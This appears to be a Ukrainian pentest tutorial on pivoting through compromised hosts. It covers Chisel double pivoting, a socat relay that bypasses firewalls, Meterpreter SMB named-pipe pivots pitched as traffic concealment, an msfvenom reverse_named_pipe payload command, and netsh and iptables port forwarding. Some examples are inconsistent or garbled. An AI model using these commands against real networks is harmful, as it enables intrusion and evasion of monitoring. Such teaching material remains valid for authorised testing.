У другій частині нашого практичного гайду з пентесту я детально розповідаю про Double Pivoting, обхід файрволів через socat, техніку з SMB Named Pipes, а також наводжу живий кейс із використанням iptables, netsh та proxychains для прокидання трафіку між сегментами мереж. Це матеріал для тих, хто вже знайомий з базовим пивотингом, і хоче перейти на новий рівень.
У цій заключній частині ми розглянемо:
Практика Pivoting (Double Pivoting)
Іменовані канали SMB
Брандмауер
Висновок
Кейс із цієї статті:
Щоб досягти такого результату, я трохи похимічив з iptables і налаштував так, що я не можу дотягнутися до Windows машини, але можу до Linux. Тепер ми можемо починати.
Тут я розповім про таку річ, як Double Pivoting, і покажу щось цікаве.
Для початку ми уявимо, що вже маємо доступ до 2-х хостів, але тільки один (Windows), може дотягнутися до потрібного нам Linux хоста в другій підмережі, значить, щоб дістатися до потрібного хоста ми можемо:
Вибудувати тунель
Використовувати методи VPN
Я розгляну метод з вибудовуванням тунелю і для нього, мені знадобиться Chisel (взагалі метод з ним я знайшов тут , тому що я використовував Ligolo, але ніколи не знаєш, яке знання знадобиться).
Так як ми не можемо підключати 2 хости до одного порту (при використанні Chisel), ми повинні або відкривати новий порт сервера, або побудувати тунель з півотів. Але спочатку я розповім про стандартний пивотинг за допомогою Chisel.
Власне як це робиться. Для початку ми запустимо сервер на локальній машині:
Після запускаємо клієнт на зламаній машині (перший Linux хост):
Далі додаємо socks5 127.0.0.1 1080в/etc/proxychains4.conf

Тепер ми нафантазуємо собі, що вже зламали Windows і маємо на ній шелл:
Після ми скористаємося зламаним Linux хостом, як клієнтом і сервером, одночасно, а на Windows машині ми запустимо клієнт, який підключиться до лінукс хосту (серверу 2):



Додаємо socks5 127.0.0.1:2080в наш /etc/proxychains.confі перевіряємо – чи маємо ми доступ до цільової Linux машини (який повинні мати):

Жодної reverse shell або SSH-тунелі нам тут не допоможуть. Як альтернатива можна організувати доступ на «третій» хост з іншого VLAN, на який обидва можуть ініціювати TCP-з’єднання.
Виглядає це так:
Ми можемо використовувати socat, щоб обійти блокування:
Код: third$> socat tcp-listen:5555 tcp-listen:6666 victim$> socat tcp-connecthird:6666 tcp-connectarget:22
Важливо ініціювати перше підключення до 5555/tcp, оскільки socat виконує другу половину операцій із сокетами (tcp-listen:6666) після встановлення з’єднання tcp-listen:5555. У результаті виходить, що два вхідні з’єднання зв’язуються через pipe, і через цей pipe може піти трафік в обхід відразу двох файрволів або NAT.
В результаті ми отримали доступ до порту 22 на машину target, яка ховалася за файрволом. На цьому я закінчу цей розділ і перейду до розділу – SMB Named Pipes.
Ця техніка використовується більше для приховування нашого трафіку в мережі замовника (або недруга). Взагалі навіщо це потрібно: в той час, як HTTP(S) з’єднання може бути помічене – SMB немає, тому що в мережі, між комп’ютерами так багато SMB з’єднань(що робить нас непомітніше). Ця функція раніше існувала, тільки в Cobalt Strike, але потім з’явилася в Metasploit Framework і Havoc. Також хочу зауважити, що це працює тільки на Windows (і іноді на Linux) хостах.
У ньому ми просто додаємо пайп у вже відкритій сесії meterpreter, командою – pivot add -t pipe -l 10.0.2.6 -n msfpipe -a x64 -p windows
Тут:
-t – тип пива
-l – скомпроментований хост
-n – Ім’я пайпа
-a – архітектура
-p – платформа
Також ви можете створити reverse_named_pipe навантаження за допомогою MSFvenom:
msfvenom -p windows/meterpreter/reverse_named_pipe PIPEHOST=172.16.16.19 PIPENAME=bgpipe -f exe -o pipe.exe
Про Havoc та Cobalt Strike, я не бачу сенсу розповідати, тому що там ви просто повинні згенерувати SMB Beacon.
Тут я розповім про Pivoting з такими файрволами, як iptables і netsh.
Ви коли-небудь хотіли направити трафік через зламаний хост Windows без необхідності встановлювати сеанс Meterpreter або завантажувати файли, які можуть бути позначені захистом кінцевої точки? netsh interface portproxy вбудований прямо в Windows і має все необхідне для створення точки повороту. Він працює, спрямовуючи вхідний трафік із зазначеного хоста: порту на кінцевий хост: порт. Дуже просто і дуже ефективно.
Робиться це так:
Код: C:\>netsh interface portproxy add v4tov4 listenport=<lport> listenaddress=<lhost> connectport=<rport> connectaddress=<rhost> <lport> - локальний порт для прослуховування <lhost> - локальний хост <rport> - віддалений порт <rhost> - віддалений хост
Наприклад:
Код: C:\>netsh interface portproxy add v4tov4 listenport=1122 listenaddress=0.0.0.0 connectport=8080 connectaddress=10.0.2.6
Це дозволить локально прив’язати 0.0.0.0 (всі мережеві інтерфейси) до 1194/tcp та направити вхідні з’єднання на віддалений хост 10.10.10.20:8080. Цей конкретний приклад можна використовувати для доступу до веб-застосунку, який знаходиться за обмежувальним брандмауером. Також є офіційна дока від Microsoft.
Щоб прокинути порт за допомогою iptables, ми повинні прописати правило на перенаправлення вхідного трафіку, на адресу іншої машини:
Код: sudo iptables -t nat -A PREROUTING -i ens5 -p tcp --dport 80 -j DNAT --to-destination 187.205.169.158:80 sudo iptables -t nat -A POSTROUTING -j MASQUERADE
Спочатку ми прописуємо правило перенаправлення вхідного трафіку на TCP порт 80, на порт 80 машини з IP – 187.205.169.158. Другий рядок забезпечує маскування вихідних IP-адрес для відповідності вихідному трафіку.
Це була 2-а і заключна стаття з гайду на Pivoting, сподіваюся, обидві статті принесли вам користь і ви чомусь навчилися.